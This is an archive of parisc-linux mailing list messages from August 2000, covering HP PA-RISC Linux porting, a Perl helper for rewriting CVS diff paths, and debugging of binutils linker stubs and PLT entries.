In-Reply-To: <199903252340.RAA08466@helgaaspc.rsn.hp.com> from "Bjorn Helgaas" at Mar 25, 99 05:40:11 pm
Xref: news.gmane.org gmane.linux.ports.parisc:7748

> Of course, you don't *have* to share those mappings, but you will
> have more TLB misses and (unless you're careful about virtual address
> allocation for aliasing) more cache flushing.

Ok - yes so we do want a different address.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: LINUX SUPPORT for HP 9000/735 systems....
Date: Mon, 21 Aug 2000 08:01:04 -0400
Lines: 8
Approved: news@gmane.org
Message-ID: <20000821080104.C5473@vodka.thepuffingroup.com>
References: <3997B7DF.41C6@prl.ernet.in> <39A0F19D.41C6@prl.ernet.in>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619064 2535 80.91.229.3 (22 Nov 2014 01:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, kskahm@hclinsys.com, ramas@hclinsys.com,
        pnnayak@hclinsys.com, Arnaud.ATOCH@oecd.org
To: AJIT D BOBRA <bobra@prl.ernet.in>
Original-X-From: willy@thepuffingroup.com  Mon Aug 21 07:06:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA13232
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 07:06:15 -0600
Original-Received: (qmail 26573 invoked by uid 15267); 21 Aug 2000 13:06:05 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26553 invoked from network); 21 Aug 2000 13:06:04 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 13:06:04 -0000
Original-Received: (qmail 19891 invoked from network); 21 Aug 2000 13:05:33 -0000
Original-Received: from dis.i.linuxcare.com (HELO vodka.thepuffingroup.com) (192.168.1.57)
  by db1.i.linuxcare.com with SMTP; 21 Aug 2000 13:05:33 -0000
Original-Received: (from willy@localhost)
	by vodka.thepuffingroup.com (8.9.3/8.9.3) id IAA06252;
	Mon, 21 Aug 2000 08:01:05 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <39A0F19D.41C6@prl.ernet.in>; from AJIT D BOBRA on Mon, Aug 21, 2000 at 02:38:45PM +0530
Xref: news.gmane.org gmane.linux.ports.parisc:7749


see
http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/08-Aug/0058.html
for your original message and followups.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 21 Aug 2000 09:38:34 -0400
Organization: Linuxcare, Inc.
Lines: 11
Approved: news@gmane.org
Message-ID: <87bsymzqcl.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008201303120.26467-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619064 2537 80.91.229.3 (22 Nov 2014 01:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Aug 21 07:39:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA13780
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 07:39:34 -0600
Original-Received: (qmail 21981 invoked by uid 15267); 21 Aug 2000 13:39:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21970 invoked from network); 21 Aug 2000 13:39:24 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 13:39:24 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Qrmc-0001yi-00; Mon, 21 Aug 2000 09:38:34 -0400
In-Reply-To: Alan Modra's message of "Sun, 20 Aug 2000 13:07:13 +1000 (EST)"
Original-Lines: 10
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7750

Alan Modra <alan@linuxcare.com.au> writes:

> cvs update.

Yeah, that message got retired out of order, so to speak.  Trying your
new stuff now.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 21 Aug 2000 09:41:18 -0400
Organization: Linuxcare, Inc.
Lines: 51
Approved: news@gmane.org
Message-ID: <877l9azq81.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008201351070.26467-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619064 2544 80.91.229.3 (22 Nov 2014 01:17:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:44 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com,
        parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Aug 21 07:42:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id HAA14058
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 07:42:26 -0600
Original-Received: (qmail 24799 invoked by uid 15267); 21 Aug 2000 13:42:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24788 invoked from network); 21 Aug 2000 13:42:16 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 13:42:16 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13QrpG-0001yk-00; Mon, 21 Aug 2000 09:41:18 -0400
In-Reply-To: Alan Modra's message of "Sun, 20 Aug 2000 14:19:05 +1000 (EST)"
Original-Lines: 50
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7751

Alan Modra <alan@linuxcare.com.au> writes:

> I haven't found one, and it's a real pain.  I tend to edit patches
> covering multiple directories before passing them to patch.
> 
> "sed -e '/^[+-][+-]/d' < cvs_diff_file | patch -p0 --posix" ought to work.

Here's a tiny Perl script I wrote for this purpose once in a fit of
pique.  Use the -i option to specify the 'input' directory prefix
(i.e. in the --- line) and -o to specify the 'output' directory
prefix.

#!/usr/bin/perl -p
use strict;
use File::Basename;
use vars qw($in $out $path $name $dir);

BEGIN {
    my @args;
    while (defined($_ = shift)) {
	if (/-i/) {
	    $in = shift;
	    $in =~ s,$,/,;
	    $in =~ tr,/,,s;
	} elsif (/-o/) {
	    $out = shift;
	    $out =~ s,$,/,;
	    $out =~ tr,/,,s;
	} else {
	    push @args, $_;
	}
    }
    $out ||= $in;
    $in  ||= $out;
    @ARGV=@args;
}

/^Index: (.*)/ and do {
    ($name, $dir) = fileparse($1);
};
/^(---|\+\+\+) ([^\t]+)/ and do {
    die "Your CVS isn't broken, $2 doesn't match $name\n" unless $2 eq $name;
    my $prefix = ($1 eq '---') ? $in : $out;
    s,$2,${prefix}${dir}${name},;
};


-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: LINUX SUPPORT for HP 9000/735 systems....
Date: Mon, 21 Aug 2000 10:26:15 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008211021510.22047-100000@pokey.513erich.iwaynet.net>
References: <20000821080104.C5473@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619065 2546 80.91.229.3 (22 Nov 2014 01:17:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:45 +0000 (UTC)
Cc: AJIT D BOBRA <bobra@prl.ernet.in>, parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: herrold@owlriver.com  Mon Aug 21 08:25:23 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA14483
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 08:25:22 -0600
Original-Received: (qmail 482 invoked by uid 15267); 21 Aug 2000 14:25:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 441 invoked from network); 21 Aug 2000 14:25:11 -0000
Original-Received: from router.513erich.iwaynet.net (HELO pokey.513erich.iwaynet.net) (206.244.44.225)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 14:25:11 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by pokey.513erich.iwaynet.net (8.9.3/8.9.3) with ESMTP id KAA22166;
	Mon, 21 Aug 2000 10:26:15 -0400
Original-Sender: herrold@513erich.iwaynet.net
In-Reply-To: <20000821080104.C5473@vodka.thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7752

On Mon, 21 Aug 2000, Matthew Wilcox wrote:

> see
> http://puffin.external.hp.com/mailing-lists/parisc-linux/2000/08-Aug/0058.html
> for your original message and followups.

... A more direct reply might by:

 -- Text User Interface mode should work directly.
 -- X is a bit dicey, and you are invited to tinker and contribute
to the pool.
 -- If there are other aspects which you are interested in, feel
free to ask.

------------

  Matthew, is this a fair summary? -- I was thinking of cutting over
a 735 myself.  I'll keep notes on the conversion, and probably post
a HowTo if this is the case. /// I'll summarize ...

-- Russ Herrold




From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: 21 Aug 2000 13:01:12 -0400
Organization: Linuxcare, Inc.
Lines: 47
Approved: news@gmane.org
Message-ID: <87itsuy2ef.fsf@linuxcare.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com> <20000819182245.F13870@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619065 2550 80.91.229.3 (22 Nov 2014 01:17:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:45 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: dhd@linuxcare.com  Mon Aug 21 11:02:06 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA15557
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 11:02:06 -0600
Original-Received: (qmail 14960 invoked by uid 15267); 21 Aug 2000 17:01:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14950 invoked from network); 21 Aug 2000 17:01:56 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 17:01:56 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13Quwj-0004CN-00; Mon, 21 Aug 2000 13:01:13 -0400
In-Reply-To: Richard Hirst's message of "Sat, 19 Aug 2000 18:22:45 +0100"
Original-Lines: 46
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7753

Richard Hirst <rhirst@linuxcare.com> writes:

> Those two files have a number of function names in common; they are
> declared static, so it shouldn't matter.  ncr_chip_reset() is one
> example.  In practice, the code in ncr53c8xx.c tries to call its local
> ncr_chip_reset(), but ends up in the ncr_chip_reset() function in
> sym53c8xx.c.
> 
> It appeared to work fine with 2.3.99pre8, and I havn't changed my
> cross compiler.

I'm not seeing this problem here, at least, not based on an
examination of the kernel's object code.

In mine I have:

sym53c8xx: ncr_chip_reset = c01cdec0 (a4)
           ncr_attach     = c02a37e4 (934)
ncr53c8xx: ncr_chip_reset = c01cdf80 (e8)
           ncr_attach     = c02a6ff0 (5d8)

Where ncr_attach calls ncr_chip_reset, it looks like:

    1d34:	0e b3 12 80 	stw  r19,0(sr0,r21)
    1d38:	08 03 02 5a 	copy r3,r26
    1d3c:	e8 40 00 00 	b,l 1d44 <ncr_attach+0x354>,rp
			1d3c: R_PARISC_PCREL17F	ncr_chip_reset

And in the object file, we have:

c02a7334:       0e b3 12 80     stw  r19,0(sr0,r21)
c02a7338:       08 03 02 5a     copy r3,r26
c02a733c:       e8 58 12 fd     b,l c0298cc0 <__init_begin+0xcc0>,rp

Pointing at this stub:

c0298cc0:       20 26 f8 03     ldil -3fe32800,r1
c0298cc4:       e0 20 2f 02     be,n 780(sr4,r1)

0x780 - 0x3fe32800 = 0xc01cdf80, which is the right one.

This is with today's binutils.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 21 Aug 2000 13:46:19 -0400
Organization: Linuxcare, Inc.
Lines: 37
Approved: news@gmane.org
Message-ID: <87em3iy0b8.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008191523470.28329-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619065 2556 80.91.229.3 (22 Nov 2014 01:17:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:45 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Aug 21 11:47:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA16194
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 11:47:18 -0600
Original-Received: (qmail 3278 invoked by uid 15267); 21 Aug 2000 17:47:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3241 invoked from network); 21 Aug 2000 17:47:07 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 17:47:07 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13QveP-0005Po-00; Mon, 21 Aug 2000 13:46:21 -0400
In-Reply-To: Alan Modra's message of "Sat, 19 Aug 2000 15:29:56 +1000 (EST)"
Original-Lines: 36
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7754

Alan Modra <alan@linuxcare.com.au> writes:

> In some ways not having any hardware to run hppa-linux binaries on is
> good, as it gives me some excuse.  :-)

Well I'm enjoying tracking these problems down, even if the solutions
I propose are usually wrong :-)

> Let me know how this one goes.

Quite well, once I did this:

Index: bfd/elf32-hppa.c
===================================================================
RCS file: /home/cvs/parisc/binutils-2.10/bfd/elf32-hppa.c,v
retrieving revision 1.24
diff -u -p -r1.24 elf32-hppa.c
--- elf32-hppa.c	2000/08/19 12:21:12	1.24
+++ elf32-hppa.c	2000/08/21 17:39:36
@@ -957,7 +957,8 @@ hppa_build_one_stub (gen_entry, in_arg)
 
       if (!info->shared
 	  && stub_entry->h != NULL
-	  && stub_entry->h->pic_call)
+	  && stub_entry->h->pic_call
+	  && stub_entry->h->elf.plt.offset != (bfd_vma) -1)
 	{
 	  /* Build the .plt entry needed to call a PIC function from
 	     statically linked code.  We don't need any relocs.  */

I'm not sure why it's generating multiple stubs for the same symbol,
though.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] test6 merge
Date: Mon, 21 Aug 2000 19:16:42 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <20000821191641.I4060@linuxcare.com>
References: <20000815160510.C7757@vodka.thepuffingroup.com> <20000819182245.F13870@linuxcare.com> <87itsuy2ef.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619066 2559 80.91.229.3 (22 Nov 2014 01:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:46 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: rhirst@linuxcare.com  Mon Aug 21 12:18:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA16691
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 12:18:04 -0600
Original-Received: (qmail 7407 invoked by uid 15267); 21 Aug 2000 18:17:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7366 invoked from network); 21 Aug 2000 18:17:53 -0000
Original-Received: from ppp-1-63.cvx3.telinco.net (HELO rhirst.linuxcare.com) (@212.1.144.63)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 18:17:53 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 7CAC2B005; Mon, 21 Aug 2000 19:16:42 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <87itsuy2ef.fsf@linuxcare.com>; from dhd@linuxcare.com on Mon, Aug 21, 2000 at 01:01:12PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7755

On Mon, Aug 21, 2000 at 01:01:12PM -0400, David Huggins-Daines wrote:
> Richard Hirst <rhirst@linuxcare.com> writes:
> 
> > Those two files have a number of function names in common; they are
> > declared static, so it shouldn't matter.  ncr_chip_reset() is one
> > example.  In practice, the code in ncr53c8xx.c tries to call its local
> > ncr_chip_reset(), but ends up in the ncr_chip_reset() function in
> > sym53c8xx.c.
> > 
> > It appeared to work fine with 2.3.99pre8, and I havn't changed my
> > cross compiler.
> 
> I'm not seeing this problem here, at least, not based on an
> examination of the kernel's object code.
> 
> In mine I have:
> 
> sym53c8xx: ncr_chip_reset = c01cdec0 (a4)
>            ncr_attach     = c02a37e4 (934)
> ncr53c8xx: ncr_chip_reset = c01cdf80 (e8)
>            ncr_attach     = c02a6ff0 (5d8)

I have:

sym53c8xx: c01c4800 t ncr_chip_reset
           c029b964 ? ncr_attach
ncr53c8xx: c01c48c0 t ncr_chip_reset
           c029f130 ? ncr_attach

> Where ncr_attach calls ncr_chip_reset, it looks like:
> 
>     1d34:	0e b3 12 80 	stw  r19,0(sr0,r21)
>     1d38:	08 03 02 5a 	copy r3,r26
>     1d3c:	e8 40 00 00 	b,l 1d44 <ncr_attach+0x354>,rp
> 			1d3c: R_PARISC_PCREL17F	ncr_chip_reset
> 
> And in the object file, we have:
> 
> c02a7334:       0e b3 12 80     stw  r19,0(sr0,r21)
> c02a7338:       08 03 02 5a     copy r3,r26
> c02a733c:       e8 58 12 fd     b,l c0298cc0 <__init_begin+0xcc0>,rp

I have

c029f484:       08 03 02 5a     copy r3,r26
c029f488:       e8 58 04 d5     b,l c02906f8 <__init_begin+0x6f8>,rp

> 
> Pointing at this stub:
> 
> c0298cc0:       20 26 f8 03     ldil -3fe32800,r1
> c0298cc4:       e0 20 2f 02     be,n 780(sr4,r1)

Mine is

c02906f8:       20 22 d8 03     ldil -3fe3b800,r1
c02906fc:       e0 20 20 02     be,n 0(sr4,r1)


> 0x780 - 0x3fe32800 = 0xc01cdf80, which is the right one.

0 - 0x3fe3b800 = 0xc01c4800, which is the WRONG one

> This is with today's binutils.

This is with xc-20000802

For completeness, in sym53c8xx.c version of ncr_attach() I see

c029c010:       68 74 13 80     stw r20,9c0(sr0,r3)
c029c014:       e8 5a 0d b9     b,l c02906f8 <__init_begin+0x6f8>,rp

Which points at the same stub.

Guess I need a new binutils.

Thanks for your help,

Richard


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: 21 Aug 2000 15:09:58 -0400
Organization: Linuxcare, Inc.
Lines: 22
Approved: news@gmane.org
Message-ID: <877l9axwft.fsf@linuxcare.com>
References: <Pine.LNX.4.21.0008191523470.28329-100000@front.linuxcare.com.au> <87em3iy0b8.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619066 2561 80.91.229.3 (22 Nov 2014 01:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: dhd@linuxcare.com  Mon Aug 21 13:10:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA17495
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 13:10:56 -0600
Original-Received: (qmail 5342 invoked by uid 15267); 21 Aug 2000 19:10:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5327 invoked from network); 21 Aug 2000 19:10:46 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 19:10:46 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13QwxK-0001Xl-00; Mon, 21 Aug 2000 15:09:58 -0400
In-Reply-To: David Huggins-Daines's message of "21 Aug 2000 13:46:19 -0400"
Original-Lines: 21
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7756

David Huggins-Daines <dhd@linuxcare.com> writes:

> Quite well, once I did this:

Oh, that patch was obviously bogus.  Sorry.  The real bogosity is
setting elf.plt.offset to -1 in order to prevent finish_dynamic_symbol
from filling in the PLT entry, which, aside from overwriting (part of)
the first PLT entry with the target for the last import stub, also
causes these stubs themselves to contain references to PLT - 1 (these
immediately cause SIGBUS at the moment, which is probably a good
thing).

This is doubly strange because finish_dynamic_symbol has a check for
h->pic_call in it already :-)

I've hacked around it for my own purposes but I imagine you know best
what to do.

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Incompatibility of PIC and non-PIC
Date: Tue, 22 Aug 2000 09:39:57 +1000 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0008220919520.30012-100000@front.linuxcare.com.au>
References: <877l9axwft.fsf@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619066 2564 80.91.229.3 (22 Nov 2014 01:17:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Mon Aug 21 17:40:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA19893
	for <parisc-linux@puffin.external.hp.com>; Mon, 21 Aug 2000 17:40:35 -0600
Original-Received: (qmail 23420 invoked by uid 15267); 21 Aug 2000 23:40:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23382 invoked from network); 21 Aug 2000 23:40:24 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 21 Aug 2000 23:40:24 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA30773;
	Tue, 22 Aug 2000 09:39:57 +1000
In-Reply-To: <877l9axwft.fsf@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7757

On 21 Aug 2000, David Huggins-Daines wrote:

> The real bogosity is
> setting elf.plt.offset to -1 in order to prevent finish_dynamic_symbol
> from filling in the PLT entry, which, aside from overwriting (part of)
> the first PLT entry with the target for the last import stub, also
> causes these stubs themselves to contain references to PLT - 1 (these
> immediately cause SIGBUS at the moment, which is probably a good
> thing).
> 
> This is doubly strange because finish_dynamic_symbol has a check for
> h->pic_call in it already :-)

I think just deleting these lines (which predated the check in
finish_dynamic_symbol) in build_one_stub

	  /* Flag this .plt entry as having been filled in so that
	     finish_dynamic_symbol doesn't repeat our work here.  */
	  eh->elf.plt.offset = (bfd_vma) -1;

will do the trick.  I simply forgot to remove it after fixing
finish_dynamic_symbol to genereate correct .plt entries for the
cases where we don't have a dynamic relocation.

The problem is that you get one stub per input section to ensure that the
stub can be reached.  Messing with plt.offset on the first stub has dire
consequences for subsequent ones.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.0-test6 lack of speed
Date: Tue, 22 Aug 2000 15:38:03 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20000822153803.U4060@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619067 2566 80.91.229.3 (22 Nov 2014 01:17:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rhirst@linuxcare.com  Tue Aug 22 08:39:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA07633
	for <parisc-linux@puffin.external.hp.com>; Tue, 22 Aug 2000 08:39:52 -0600
Original-Received: (qmail 18815 invoked by uid 15267); 22 Aug 2000 14:39:20 -0000
